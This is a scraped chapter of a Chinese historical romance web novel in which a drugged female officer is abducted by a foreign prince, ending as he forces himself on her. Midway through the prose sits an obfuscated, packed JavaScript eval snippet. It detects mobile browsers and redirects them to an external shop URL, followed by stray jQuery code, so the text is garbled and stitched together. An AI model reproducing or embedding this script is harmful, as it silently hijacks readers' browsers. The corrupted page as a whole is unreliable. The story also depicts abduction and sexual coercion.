比起女骑营,此地离侯府更近。卓玉不敢耽搁,就近找了巡守禁军,就一路疾驰回府中。


    靖安侯去了皇宫,好在李乘凌今日亦休沐在家。卓玉着急忙慌找到人时,李乘凌竟在李星容卧房阶前枯坐,雪淋了满头,也一动未动。


    “……世、世子!”卓玉好几句才将他喊回神,“小姐出事了!”


    李乘凌猛然抬起头,一双眼早已血丝密布,听闻卓玉三言两语,一颗心更是如坠冰窟。


    “她在哪?!”


    -


    晃晃悠悠的马车疾速前行,李星容意识逐渐醒转。


    浑身虚软无力。李星容睁开眼,眼前却覆着一片蒙蒙的灰。


    她的眼睛被蒙上了。


    “醒了?”一道特意压低过的声音在她耳边响起,似陌生又似熟悉。李星容转眼过去,只能依稀看见一圈模糊的宽大身影。


    李星容暗自动了动手腕。


    气力的确已流失,此刻动手无异于以卵击石。


    她张口欲言,却发觉喉舌也异常干哑,这样一动作,唇上也传来了开裂般的隐痛。


    李星容记得当时自己被团团围困,以一人之力抵抗近二十人围攻,却在等来援兵之前渐感头昏眼花体力不支,最后被几人合力套头掳走,又不知何时晕了过去。


    ……这是昏睡了多久?


    还没想明白,一只手突然触碰上了她的唇。


    李星容心下微愕,本能地闭紧牙关。


    指腹粗糙,唇瓣干枯,那人的指尖抵住她干裂的唇缝,细细摩挲,似乎想将李星容紧闭的嘴再次撬开。


    ……他究竟想做什么?


    李星容忍无可忍,蓄起一丝力气,抬手捉住这只作恶的手腕。这样一动,右肩被无头箭所击中的伤又开始隐隐作痛了。


    李星容微微皱起眉。臂腕使不出力,便用指尖狠狠地在他皮肉上碾。


    “……”李星容听见上方传来一声哼笑,而后便是杯碗放在桌案上的声音。那只手终于放过她的唇瓣,却变本加厉,转而去抚摸她的脸。


    多么小巧玲珑的脸,怎么偏要舞刀弄剑,对自己张牙舞爪呢?


    温顺乖巧一点,虽然无趣,却也不会有今日了……


    粗粝的手指在李星容脸颊轮廓游移,除了令李星容感到恶心,倒也无实际威胁。


    李星容见此时的自己还无法撼动他,索性不再白费气力,任由脱力的手臂软塌塌地垂下。


    “好可怜,没力气了。”那个声音缓缓道。那只手依旧把玩着李星容瘦削的颌骨,没有因为李星容停止反抗而停下。


    “本来可以放过你的。可惜,抢夺是我天性。”


    “……?”这句话一出,李星容几乎是瞬间便猜到了他是谁。


    厌恶震惊之余,只有对他此举的疑惑不解。


    “你说的不会再提,就是不顾两国邦交,强行将我掳走?”


    李星容开口之时,嗓音沙哑,恐怕除了许久没说话的缘故,更因为中了什么催人虚弱的药物。


    那只手忽地停下:“猜到我是谁?很聪明。”


    “你也没好好隐瞒。”李星容道。


    “嗯……”头顶那人想了想,忽而将李星容眼前的布条摘下。


    狼一般的双眸猛然在李星容眼前放大,瞳孔似褐而近墨,目光直白地落在李星容脸上。


    李星容许久不见光,被他额头那抹鎏金抹额映出的光亮刺得眯了眯眼。


    “这才是没有好好隐瞒。”呼延铎勒坐在李星容卧榻身侧,自上而下俯视着她,嘴角有笑意残留。


    “……”李星容渐渐适应周遭光亮,眸光扫视一圈身处之境。马车并不算宽阔,只能供一人横卧,车帘外天光正亮,恐怕已是第二日了。


    呼延铎勒葫芦里究竟卖什么药?


    哪怕有天命作祟,他对她的所谓“钟情”也来得太莫名其妙了一些。


    喜欢她什么?


    喜欢她忠于大庸,一心杀乌荼人报国?


    还是喜欢她那夜一见面就给他脖颈一刀?


    乌荼王抱恙,乌荼落于下风,如此情势下,他是怎么敢强行掳走大庸五品武官的?


    李星容思忖再三,还是不打算直接以硬碰硬。


    “王子远道而来,盟誓尚未缔结,就将迎接使掳走。如此举动,当真是为求和么?”


    “谁见到我走了?”呼延铎勒看着李星容口干舌燥还试图对他晓之以理的模样,饶有兴味,也不再提给她水喝。


    李星容微微一怔。


    “我既然可以悄无声息进去,自然也能悄无声息出来。”呼延铎勒无所谓道,“等到那些人发现异样,你早已随我回乌荼了。”


    他如此胸有成竹,李星容心中隐隐起了猜测。


    “王子此行恐怕不下数十人,马过留痕,他们早晚会赶上你。”李星容试探着道。


    “不用担心,早换过一轮马车了。”呼延铎勒心情不错的样子,也不吝于向她解释,“这条路商队来来往往,没有人会发现我们。”


    他果然是有备而来。


    那么如此看来,单单是“要娶她”这个理由,便更不足以支撑呼延铎勒做出这一切举动了。


    比起蓄谋豪夺,李星容更像是在他谋划之路上的一个意外,一个……附带的“收获”。


    可李星容想不明白。女骑营再如何前所未有,单凭一个女统领,也不至于威胁乌荼至此。


    究竟是什么,让呼延铎勒甘愿冒着议和破裂的风险,也要将靖安侯养女、大庸女骑统领掳走呢?


    更让李星容心惊的是,身为大庸五公主,谢宛芷竟会沦落至配合乌荼人的行动。


    “你许诺了五公主什么?”李星容再次开口,试图从他这里直接获得答案。


    “刚才还夸你聪明呢。”呼延铎勒歪了歪头,说出口的话却有些残忍,“用你换她啊。”


    “……”李星容心一沉,“你要把我献给乌荼王?”


    “……”呼延铎勒眉梢一挑,呼出一口气。


    他默了默,转身端来一杯水,递至她唇边,“还是喝点水吧,变笨了。”


    李星容死死地盯着他手中杯。


    不知多久没喝水了,可直觉告诉她,自己不能碰这辆马车上的饮食。


    呼延铎勒见她久久不动作,明白过来。他笑了笑,自己先抿了一口以示无毒,再递至李星容唇边。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095606|190354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    茶壶一直置于炉上,茶水还是温热的。


    ……吃了喝了可能中招虚脱,不吃不喝同样永无恢复气力的可能,既然如此,为何要忍饥挨饿呢?


    李星容这样想着,还是就着他的手喝了几口茶水。


    呼延铎勒满意地笑了笑,另一只手支在李星容颈下,助她维持起身的动作。


    李星容啜着水,他的指尖就在她后颈微微凸起的骨节上不自觉摩挲,直到李星容喝完躺回去,手也没撤走。


    喝了水也没清醒多少。但通过呼延铎勒那句讥讽的话语和暗戳戳的动作,李星容再怎么迟钝也明白他的想法了。


    “你确定要娶我吗?”李星容重新躺好,不急着撕破脸反抗。


    “没记错的话,七王子比我还小上半岁,放在大庸,是不可成婚的。”


    “放在乌荼,孩子都有一地了。”呼延铎勒满不在乎。


    “可你要娶的是大庸女子,但凡有一丝真心,就不能全然不顾她家乡的礼节。”他都做出了强行掳人这个举动,李星容并不抱希望他会顾虑自己的感受。姑且试试,权当拖延时间了。


    呼延铎勒听了她的话,双眸微眯,“你很在乎?”


    李星容点头,“我很在乎。”


    “……若我没记错,你们大庸男人要等到二十才能娶妻?”呼延铎勒神色不明。


    李星容点头,“要等到二十。”


    “呵。”呼延铎勒嗤之以鼻,“装什么清高,天下男人哪个不龌龊,莫非年满二十的那一刻,就突然通人性了不成。”


    “……总之在成亲之前,你不能对我动手动脚。”拖不了几年,拖上几天几月也是可以的,在那之前,李星容一定已经找到办法回家了。


    “怎么算动手动脚?”呼延铎勒闻言摊摊手,鹰鼻狼眼竟显出一丝无辜,“方才我可一没摸你手,二没碰你脚。”


    “嘴,脸,脖子……总之全身上下,哪里都不行。”即便与他成亲是根本不可能的,这一点李星容也仍需要严肃解释。


    “这么麻烦?”呼延铎勒眼神重新沉了下来,“那不成亲就是了。”


    ……这么好说话?李星容心中狐疑。


    “你和我偷情好了。”呼延铎勒勾勾嘴角。


    话音刚落,他第一次得以欣赏到冷漠如冰的李星容碎裂的表情。


    睁大的双眸,难以置信的眼神,紧蹙的眉头,欲言又止的唇舌。


    呼延铎勒看在眼里,心中竟大感愉悦。


    将素来一板一眼面无表情的人逗得神情失控,实在是,有趣极了。


    “这就怕了?”


    李星容死死盯着他,一言未发。


    “乌荼人不讲你们大庸虚伪的那一套,天性如何,就任它如何。”呼延铎勒不知死活继续道,“你如今在我手里,没有刀,没有箭,甚至连逃离我的力气都没有。你猜,我是会听信你拖延时间的说辞,还是任由我的天性,对你……为所欲为?”


    每说一句,便近一寸,最后一句话音落下,呼延铎勒已单手将李星容双手制住,单膝压上了李星容双腿。


    他的另一只手触上了李星容的锁骨,指尖向下,勾入她胸前的衣襟。